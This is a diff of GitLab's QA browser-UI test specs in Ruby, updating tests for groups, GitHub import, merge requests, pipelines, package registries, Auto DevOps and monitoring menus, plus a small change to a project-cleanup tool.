--- a/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/create_group_with_mattermost_team_spec.rb
@@ -10,9 +10,13 @@ module QA
Page::Dashboard::Groups.perform do |groups|
groups.click_new_group
- expect(groups).to have_content(
- /Create a Mattermost team for this group/
- )
+ Page::Group::New.perform do |group_new|
+ group_new.click_create_group
+
+ expect(group_new).to have_content(
+ /Create a Mattermost team for this group/
+ )
+ end
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb
index d6bcd134a03..84464f7174a 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb
@@ -28,14 +28,17 @@ module QA
end
it 'transfers a subgroup to another group',
- testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1724' do
+ testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1724' do
Page::Group::Menu.perform(&:click_group_general_settings_item)
Page::Group::Settings::General.perform do |general|
general.transfer_group(target_group.path)
+
+ sub_group_for_transfer.sandbox = target_group
+ sub_group_for_transfer.reload!
end
expect(page).to have_text("Group '#{sub_group_for_transfer.path}' was successfully transferred.")
- expect(page.driver.current_url).to include("#{target_group.path}/#{sub_group_for_transfer.path}")
+ expect(page.driver.current_url).to include(sub_group_for_transfer.full_path)
end
after do
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
index 5072b6d48bf..55ad8baf872 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
@@ -3,25 +3,26 @@
module QA
RSpec.describe 'Manage', :github, :requires_admin do
describe 'Project import' do
+ let!(:api_client) { Runtime::API::Client.as_admin }
+ let!(:group) { Resource::Group.fabricate_via_api! { |resource| resource.api_client = api_client } }
let!(:user) do
Resource::User.fabricate_via_api! do |resource|
- resource.api_client = Runtime::API::Client.as_admin
+ resource.api_client = api_client
+ resource.hard_delete_on_api_removal = true
end
end
- let(:group) { Resource::Group.fabricate_via_api! }
-
let(:imported_project) do
Resource::ProjectImportedFromGithub.fabricate_via_browser_ui! do |project|
project.name = 'imported-project'
project.group = group
project.github_personal_access_token = Runtime::Env.github_access_token
project.github_repository_path = 'gitlab-qa-github/test-project'
+ project.api_client = api_client
end
end
before do
- Runtime::Feature.enable(:invite_members_group_modal, group: group)
group.add_member(user, Resource::Members::AccessLevel::MAINTAINER)
end
@@ -32,90 +33,90 @@ module QA
it 'imports a GitHub repo', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1762' do
Flow::Login.sign_in(as: user)
- imported_project # import the project
+ imported_project.reload! # import the project and reload all fields
- Page::Main::Menu.perform(&:go_to_projects)
- Page::Dashboard::Projects.perform do |dashboard|
- dashboard.go_to_project(imported_project.name)
+ aggregate_failures do
+ verify_repository_import
+ verify_commits_import
+ verify_labels_import
+ verify_issues_import
+ verify_milestones_import
+ verify_wikis_import
+ verify_merge_requests_import
end
-
- Page::Project::Show.perform(&:wait_for_import)
-
- verify_repository_import
- verify_issues_import
- verify_merge_requests_import
- verify_labels_import
- verify_milestones_import
- verify_wiki_import
end
def verify_repository_import
- Page::Project::Show.perform do |project|
- expect(project).to have_content('This test project is used for automated GitHub import by GitLab QA.')
- expect(project).to have_content(imported_project.name)
- end
+ expect(imported_project.api_response).to include(
+ description: 'A new repo for test',
+ import_status: 'finished',
+ import_error: nil
+ )
end
- def verify_issues_import
- QA::Support::Retrier.retry_on_exception do
- Page::Project::Menu.perform(&:click_issues)
-
- Page::Project::Issue::Show.perform do |issue_page|
- expect(issue_page).to have_content('This is a sample issue')
-
- click_link 'This is a sample issue'
-
- expect(issue_page).to have_content('This is a sample first comment')
-
- # Comments
- comment_text = 'This is a comment from @sliaquat'
-
- expect(issue_page).to have_comment(comment_text)
- expect(issue_page).to have_label('custom new label')
- expect(issue_page).to have_label('help wanted')
- expect(issue_page).to have_label('good first issue')
- end
- end
+ def verify_commits_import
+ expect(imported_project.commits.length).to eq(20)
end
- def verify_merge_requests_import
- Page::Project::Menu.perform(&:click_merge_requests)
-
- Page::MergeRequest::Show.perform do |merge_request|
- expect(merge_request).to have_content('Improve readme')
-
- click_link 'Improve readme'
-
- expect(merge_request).to have_content('This improves the README file a bit.')
-
- # Comments
- expect(merge_request).to have_content('[PR comment by @sliaquat] Nice work!')
-
- # Diff comments
- expect(merge_request).to have_content('[Single diff comment] Good riddance')
- expect(merge_request).to have_content('[Single diff comment] Nice addition')
-
- expect(merge_request).to have_label('bug')
- expect(merge_request).to have_label('documentation')
- end
+ def verify_labels_import
+ labels = imported_project.labels.map { |label| label.slice(:name, :color) }
+
+ expect(labels).to eq(
+ [
+ { name: 'bug', color: '#d73a4a' },
+ { name: 'custom new label', color: '#fc8f91' },
+ { name: 'documentation', color: '#0075ca' },
+ { name: 'duplicate', color: '#cfd3d7' },
+ { name: 'enhancement', color: '#a2eeef' },
+ { name: 'good first issue', color: '#7057ff' },
+ { name: 'help wanted', color: '#008672' },
+ { name: 'invalid', color: '#e4e669' },
+ { name: 'question', color: '#d876e3' },
+ { name: 'wontfix', color: '#ffffff' }
+ ]
+ )
end
- def verify_labels_import
- # TODO: Waiting on https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/19228
- # to build upon it.
+ def verify_issues_import
+ issues = imported_project.issues
+
+ expect(issues.length).to eq(1)
+ expect(issues.first).to include(
+ title: 'This is a sample issue',
+ description: "*Created by: gitlab-qa-github*\n\nThis is a sample first comment",
+ labels: ['custom new label', 'good first issue', 'help wanted'],
+ user_notes_count: 1
+ )
end
def verify_milestones_import
- # TODO: Waiting on https://gitlab.com/gitlab-org/gitlab-foss/merge_requests/18727
- # to build upon it.
+ milestones = imported_project.milestones
+
+ expect(milestones.length).to eq(1)
+ expect(milestones.first).to include(title: 'v1.0', description: nil, state: 'active')
end
- def verify_wiki_import
- Page::Project::Menu.perform(&:click_wiki)
+ def verify_wikis_import
+ wikis = imported_project.wikis
- Page::Project::Wiki::Show.perform do |wiki|
- expect(wiki).to have_content('Welcome to the test-project wiki!')
- end
+ expect(wikis.length).to eq(1)
+ expect(wikis.first).to include(title: 'Home', format: 'markdown')
+ end
+
+ def verify_merge_requests_import
+ merge_requests = imported_project.merge_requests
+
+ expect(merge_requests.length).to eq(1)
+ expect(merge_requests.first).to include(
+ title: 'Improve readme',
+ state: 'opened',
+ target_branch: 'main',
+ source_branch: 'improve-readme',
+ labels: %w[bug documentation],
+ description: <<~DSC.strip
+ *Created by: gitlab-qa-github*\n\nThis improves the README file a bit.\r\n\r\nTODO:\r\n\r\n \r\n\r\n- [ ] Do foo\r\n- [ ] Make bar\r\n - [ ] Think about baz
+ DSC
+ )
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb
index 2654531bc2c..44a361df34d 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb
@@ -25,6 +25,7 @@ module QA
after do
Runtime::Feature.disable('real_time_issue_sidebar', project: project)
Runtime::Feature.disable('broadcast_issue_updates', project: project)
+ Runtime::Feature.disable(:invite_members_group_modal, project: project)
end
it 'update without refresh', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1048' do
@@ -37,7 +38,9 @@ module QA
Page::Project::Issue::Show.perform do |show|
expect(show).to have_assignee(user1.name)
-
+ # We need to wait 1 second for the page to connect to the websocket to subscribe to updates
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/293699#note_583959786
+ sleep 1
issue.set_issue_assignees(assignee_ids: [user2.id])
expect(show).to have_assignee(user2.name)
diff --git a/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb b/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb
index dfdc9b7c9b4..59d34612ca7 100644
--- a/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/design_management/modify_design_content_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create' do
+ RSpec.describe 'Create', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/331978', type: :bug } do
context 'Design Management' do
let(:design) do
Resource::Design.fabricate! do |design|
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb
index 81ad1896075..082d001b716 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/create_merge_request_spec.rb
@@ -16,7 +16,11 @@ module QA
Flow::Login.sign_in
end
- it 'creates a basic merge request', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1276' do
+ it(
+ 'creates a basic merge request',
+ :smoke,
+ testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1850'
+ ) do
Resource::MergeRequest.fabricate_via_browser_ui! do |merge_request|
merge_request.project = project
merge_request.title = merge_request_title
@@ -29,14 +33,17 @@ module QA
end
end
- it 'creates a merge request with a milestone and label', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/514' do
+ it(
+ 'creates a merge request with a milestone and label',
+ testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/514'
+ ) do
gitlab_account_username = "@#{Runtime::User.username}"
milestone = Resource::ProjectMilestone.fabricate_via_api! do |milestone|
milestone.project = project
end
- label = Resource::Label.fabricate_via_api! do |label|
+ label = Resource::ProjectLabel.fabricate_via_api! do |label|
label.project = project
label.title = 'label'
end
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
index c2e148e19bd..dd4b3276687 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb
@@ -2,7 +2,8 @@
module QA
RSpec.describe 'Create' do
- describe 'Merge request creation from fork', :smoke do
+ describe 'Merge request creation from fork' do
+ # TODO: Please add this back to :smoke suite as soon as https://gitlab.com/gitlab-org/gitlab/-/issues/332588 is addressed
it 'can merge feature branch fork to mainline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1701' do
merge_request = Resource::MergeRequestFromFork.fabricate_via_browser_ui! do |merge_request|
merge_request.fork_branch = 'feature-branch'
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
index d400876c838..639702f9148 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Create' do
- describe 'Create, list, and delete branches via web' do
+ describe 'Create, list, and delete branches via web', :requires_admin do
master_branch = nil
second_branch = 'second-branch'
third_branch = 'third-branch'
@@ -24,6 +24,8 @@ module QA
proj.initialize_with_readme = true
end
+ Runtime::Feature.enable(:delete_branch_confirmation_modals, project: project)
+
master_branch = project.default_branch
Git::Repository.perform do |repository|
diff --git a/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb b/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
index 2c0fb5ea290..67b48d254ac 100644
--- a/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/repository/push_http_private_token_spec.rb
@@ -3,7 +3,7 @@
module QA
RSpec.describe 'Create' do
describe 'Git push over HTTP', :smoke do
- it 'user using a personal access token pushes code to the repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1278' do
+ it 'user using a personal access token pushes code to the repository', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1848' do
Flow::Login.sign_in
access_token = Resource::PersonalAccessToken.fabricate!.token
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
index 4f241325437..ae8f34f9845 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb
@@ -7,7 +7,7 @@ module QA
Flow::Login.sign_in
Page::Main::Menu.perform do |menu|
- menu.go_to_more_dropdown_option(:snippets_link)
+ menu.go_to_menu_dropdown_option(:snippets_link)
end
Resource::Snippet.fabricate_via_browser_ui! do |snippet|
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_with_multiple_files_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_with_multiple_files_spec.rb
index 50f2f4789fa..8ff3222f065 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_with_multiple_files_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_with_multiple_files_spec.rb
@@ -7,7 +7,7 @@ module QA
Flow::Login.sign_in
Page::Main::Menu.perform do |menu|
- menu.go_to_more_dropdown_option(:snippets_link)
+ menu.go_to_menu_dropdown_option(:snippets_link)
end
Resource::Snippet.fabricate_via_browser_ui! do |snippet|
diff --git a/qa/qa/specs/features/browser_ui/3_create/snippet/snippet_index_page_spec.rb b/qa/qa/specs/features/browser_ui/3_create/snippet/snippet_index_page_spec.rb
index 9c7dc868a2e..d922950335f 100644
--- a/qa/qa/specs/features/browser_ui/3_create/snippet/snippet_index_page_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/snippet/snippet_index_page_spec.rb
@@ -60,7 +60,7 @@ module QA
it "shows correct details of #{snippet_type} including file number" do
send(snippet_type)
Page::Main::Menu.perform do |menu|
- menu.go_to_more_dropdown_option(:snippets_link)
+ menu.go_to_menu_dropdown_option(:snippets_link)
end
Page::Dashboard::Snippet::Index.perform do |snippet|
diff --git a/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb b/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
index 8617e05f912..7a81318f158 100644
--- a/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
+++ b/qa/qa/specs/features/browser_ui/4_verify/pipeline/create_and_process_pipeline_spec.rb
@@ -24,7 +24,8 @@ module QA
runner.remove_via_api!
end
- it 'users creates a pipeline which gets processed', :smoke, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1279' do
+ it 'users creates a pipeline which gets processed', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1849' do
+ # TODO: Convert back to :smoke once proved to be stable. Related issue: https://gitlab.com/gitlab-org/gitlab/-/issues/300909
Flow::Login.sign_in
Resource::Repository::Commit.fabricate_via_api! do |commit|
@@ -47,7 +48,7 @@ module QA
- echo 'FAILURE'
- exit 1
- test-tags:
+ test-tags-mismatch:
tags:
- invalid
script: echo 'NOOP'
@@ -70,7 +71,7 @@ module QA
{
'test-success': :passed,
'test-failure': :failed,
- 'test-tags': :pending,
+ 'test-tags-mismatch': :pending,
'test-artifacts': :passed
}.each do |job, status|
Page::Project::Pipeline::Show.perform do |pipeline|
diff --git a/qa/qa/specs/features/browser_ui/5_package/container_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/container_registry_spec.rb
index 7a71d1cfbaf..9131cad7244 100644
--- a/qa/qa/specs/features/browser_ui/5_package/container_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/container_registry_spec.rb
@@ -30,6 +30,14 @@ module QA
DOCKER_TLS_CERTDIR: "/certs"
DOCKER_TLS_VERIFY: 1
DOCKER_CERT_PATH: "$DOCKER_TLS_CERTDIR/client"
+ before_script:
+ - |
+ echo "Waiting for docker to start..."
+ for i in $(seq 1 30)
+ do
+ docker info && break
+ sleep 1s
+ done
script:
- docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
- docker build -t $IMAGE_TAG .
diff --git a/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
index fb019290d4c..9c00f1f6d17 100644
--- a/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb
@@ -3,7 +3,7 @@
require 'securerandom'
module QA
- RSpec.describe 'Package', :orchestrated, :packages do
+ RSpec.describe 'Package', :orchestrated, :packages, :reliable do
describe 'Maven Repository' do
include Runtime::Fixtures
@@ -44,7 +44,7 @@ module QA
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.group.name}"]
runner.executor = :docker
- runner.token = project.group.sandbox.runners_token
+ runner.token = project.group.runners_token
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb b/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
index 4d714affd65..c4bfaacca11 100644
--- a/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Package', :orchestrated, :packages do
+ RSpec.describe 'Package', :orchestrated, :packages, :reliable do
describe 'npm registry' do
include Runtime::Fixtures
@@ -37,7 +37,7 @@ module QA
runner.name = "qa-runner-#{Time.now.to_i}"
runner.tags = ["runner-for-#{project.group.name}"]
runner.executor = :docker
- runner.token = project.group.sandbox.runners_token
+ runner.token = project.group.runners_token
end
end
diff --git a/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb b/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
index 3db5b9671d9..daf41f1c6ab 100644
--- a/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
+++ b/qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb
@@ -31,9 +31,9 @@ module QA
let!(:runner) do
Resource::Runner.fabricate! do |runner|
runner.name = "qa-runner-#{Time.now.to_i}"
- runner.tags = ["runner-for-#{project.group.sandbox.name}"]
+ runner.tags = ["runner-for-#{project.group.name}"]
runner.executor = :docker
- runner.token = project.group.sandbox.runners_token
+ runner.token = project.group.runners_token
end
end
@@ -69,7 +69,7 @@ module QA
only:
- "#{project.default_branch}"
tags:
- - "runner-for-#{project.group.sandbox.name}"
+ - "runner-for-#{project.group.name}"
YAML
}
]
@@ -128,7 +128,7 @@ module QA
only:
- "#{another_project.default_branch}"
tags:
- - "runner-for-#{project.group.sandbox.name}"
+ - "runner-for-#{project.group.name}"
YAML
}
]
@@ -145,7 +145,7 @@ module QA
expect(job).to be_successful(timeout: 800)
end
- project.group.sandbox.visit!
+ project.group.visit!
Page::Group::Menu.perform(&:go_to_group_packages)
diff --git a/qa/qa/specs/features/browser_ui/6_release/pages/pages_pipeline_spec.rb b/qa/qa/specs/features/browser_ui/6_release/pages/pages_pipeline_spec.rb
index 2cb2ea2d636..1502e1ab924 100644
--- a/qa/qa/specs/features/browser_ui/6_release/pages/pages_pipeline_spec.rb
+++ b/qa/qa/specs/features/browser_ui/6_release/pages/pages_pipeline_spec.rb
@@ -1,7 +1,8 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Release', :smoke, :runner do
+ RSpec.describe 'Release', :runner do
+ # TODO: Convert back to :smoke once proved to be stable. Related issue: https://gitlab.com/gitlab-org/gitlab/-/issues/300906
describe 'Pages' do
let!(:project) do
Resource::Project.fabricate_via_api! do |project|
diff --git a/qa/qa/specs/features/browser_ui/7_configure/auto_devops/auto_devops_templates_spec.rb b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/auto_devops_templates_spec.rb
index fe2d821576b..2538f249010 100644
--- a/qa/qa/specs/features/browser_ui/7_configure/auto_devops/auto_devops_templates_spec.rb
+++ b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/auto_devops_templates_spec.rb
@@ -18,7 +18,7 @@ module QA
end
where(:template) do
- %w[rails spring express]
+ %w[express]
end
with_them do
@@ -45,7 +45,7 @@ module QA
Flow::Login.sign_in
end
- it 'works with Auto DevOps', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/240946', type: :flaky } do
+ it 'works with Auto DevOps' do
%w[build code_quality test].each do |job|
pipeline.visit!
diff --git a/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
index e2cf5c5b195..1dcc02095f6 100644
--- a/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
+++ b/qa/qa/specs/features/browser_ui/7_configure/auto_devops/create_project_with_auto_devops_spec.rb
@@ -81,11 +81,11 @@ module QA
job.click_element(:pipeline_path)
end
- Page::Project::Menu.perform(&:go_to_operations_environments)
- Page::Project::Operations::Environments::Index.perform do |index|
+ Page::Project::Menu.perform(&:go_to_deployments_environments)
+ Page::Project::Deployments::Environments::Index.perform do |index|
index.click_environment_link('production')
end
- Page::Project::Operations::Environments::Show.perform do |show|
+ Page::Project::Deployments::Environments::Show.perform do |show|
show.view_deployment do
expect(page).to have_content('Hello World!')
expect(page).to have_content('you_can_see_this_variable')
@@ -115,7 +115,7 @@ module QA
end
end
- it 'runs an AutoDevOps pipeline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1277' do
+ it 'runs an AutoDevOps pipeline', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1847' do
Flow::Pipeline.visit_latest_pipeline
Page::Project::Pipeline::Show.perform do |pipeline|
diff --git a/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb b/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb
index 09fbbf5adc5..1803b4b16de 100644
--- a/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb
+++ b/qa/qa/specs/features/browser_ui/7_configure/kubernetes/kubernetes_integration_spec.rb
@@ -26,9 +26,9 @@ module QA
k8s_cluster.cluster = cluster
end.project.visit!
- Page::Project::Menu.perform(&:go_to_operations_kubernetes)
+ Page::Project::Menu.perform(&:go_to_infrastructure_kubernetes)
- Page::Project::Operations::Kubernetes::Index.perform do |index|
+ Page::Project::Infrastructure::Kubernetes::Index.perform do |index|
expect(index).to have_cluster(cluster)
end
end
diff --git a/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb b/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb
index 94df408f9aa..1511f74c883 100644
--- a/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb
+++ b/qa/qa/specs/features/browser_ui/8_monitor/all_monitor_core_features_spec.rb
@@ -17,9 +17,9 @@ module QA
end
it 'duplicates to create dashboard to custom', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/871' do
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ Page::Project::Menu.perform(&:go_to_monitor_metrics)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ Page::Project::Monitor::Metrics::Show.perform do |on_dashboard|
on_dashboard.duplicate_dashboard
expect(on_dashboard).to have_metrics
@@ -28,9 +28,9 @@ module QA
end
it 'verifies data on filtered deployed environment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/874' do
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ Page::Project::Menu.perform(&:go_to_monitor_metrics)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ Page::Project::Monitor::Metrics::Show.perform do |on_dashboard|
on_dashboard.filter_environment
expect(on_dashboard).to have_metrics
@@ -38,9 +38,9 @@ module QA
end
it 'filters using the quick range', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/873' do
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ Page::Project::Menu.perform(&:go_to_monitor_metrics)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ Page::Project::Monitor::Metrics::Show.perform do |on_dashboard|
on_dashboard.show_last('30 minutes')
expect(on_dashboard).to have_metrics
@@ -53,13 +53,13 @@ module QA
end
it 'observes cluster health graph', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/920' do
- Page::Project::Menu.perform(&:go_to_operations_kubernetes)
+ Page::Project::Menu.perform(&:go_to_infrastructure_kubernetes)
- Page::Project::Operations::Kubernetes::Index.perform do |cluster_list|
+ Page::Project::Infrastructure::Kubernetes::Index.perform do |cluster_list|
cluster_list.click_on_cluster(@cluster)
end
- Page::Project::Operations::Kubernetes::Show.perform do |cluster_panel|
+ Page::Project::Infrastructure::Kubernetes::Show.perform do |cluster_panel|
cluster_panel.open_health
cluster_panel.wait_for_cluster_health
end
@@ -78,9 +78,9 @@ module QA
push.new_branch = false
end
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ Page::Project::Menu.perform(&:go_to_monitor_metrics)
- Page::Project::Operations::Metrics::Show.perform do |dashboard|
+ Page::Project::Monitor::Metrics::Show.perform do |dashboard|
dashboard.select_dashboard('templating.yml')
expect(dashboard).to have_template_metric('CPU usage GitLab Runner')
@@ -101,9 +101,9 @@ module QA
metrics_panel.add_custom_metric
end
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ Page::Project::Menu.perform(&:go_to_monitor_metrics)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ Page::Project::Monitor::Metrics::Show.perform do |on_dashboard|
expect(on_dashboard).to have_custom_metric('HTTP Requests Total')
end
end
@@ -116,9 +116,9 @@ module QA
metrics_panel.edit_custom_metric
end
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ Page::Project::Menu.perform(&:go_to_monitor_metrics)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ Page::Project::Monitor::Metrics::Show.perform do |on_dashboard|
expect(on_dashboard).to have_custom_metric('Throughput')
end
end
@@ -132,9 +132,9 @@ module QA
metrics_panel.delete_custom_metric
end
- Page::Project::Menu.perform(&:go_to_operations_metrics)
+ Page::Project::Menu.perform(&:go_to_monitor_metrics)
- Page::Project::Operations::Metrics::Show.perform do |on_dashboard|
+ Page::Project::Monitor::Metrics::Show.perform do |on_dashboard|
expect(on_dashboard).not_to have_custom_metric('Throughput')
end
end
diff --git a/qa/qa/specs/features/browser_ui/8_monitor/cluster_with_prometheus.rb b/qa/qa/specs/features/browser_ui/8_monitor/cluster_with_prometheus.rb
index ed0064e8b6f..19e49400d5e 100644
--- a/qa/qa/specs/features/browser_ui/8_monitor/cluster_with_prometheus.rb
+++ b/qa/qa/specs/features/browser_ui/8_monitor/cluster_with_prometheus.rb
@@ -17,7 +17,7 @@ module QA
%w[
CODE_QUALITY_DISABLED TEST_DISABLED LICENSE_MANAGEMENT_DISABLED
SAST_DISABLED DAST_DISABLED DEPENDENCY_SCANNING_DISABLED
- CONTAINER_SCANNING_DISABLED PERFORMANCE_DISABLED SECRET_DETECTION_DISABLED
+ CONTAINER_SCANNING_DISABLED BROWSER_PERFORMANCE_DISABLED SECRET_DETECTION_DISABLED
].each do |key|
Resource::CiVariable.fabricate_via_api! do |resource|
resource.project = @project
diff --git a/qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb b/qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb
index 302fec55c53..de425dde6c0 100644
--- a/qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb
+++ b/qa/qa/specs/features/browser_ui/non_devops/performance_bar_spec.rb
@@ -20,7 +20,7 @@ module QA
end
end
- it 'shows results for the original request and AJAX requests', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/478', quarantine: { only: { pipeline: :master }, issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/323051', type: :bug } do
+ it 'shows results for the original request and AJAX requests', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/478', quarantine: { only: { pipeline: :main }, issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/323051', type: :bug } do
# Issue pages always make AJAX requests
Resource::Issue.fabricate_via_browser_ui! do |issue|
issue.title = 'Performance bar test'
diff --git a/qa/qa/tools/delete_projects.rb b/qa/qa/tools/delete_projects.rb
index bb73033e9d7..8a690373a37 100644
--- a/qa/qa/tools/delete_projects.rb
+++ b/qa/qa/tools/delete_projects.rb
@@ -20,7 +20,7 @@ module QA
end
def run
- STDOUT.puts 'Running...'
+ $stdout.puts 'Running...'
# Fetch group's id
group_id = fetch_group_id
@@ -30,16 +30,16 @@ module QA
# Do not delete projects that are less than 4 days old (for debugging purposes)
project_ids = fetch_project_ids(group_id, total_project_pages)
- STDOUT.puts "Number of projects to be deleted: #{project_ids.length}"
+ $stdout.puts "Number of projects to be deleted: #{project_ids.length}"
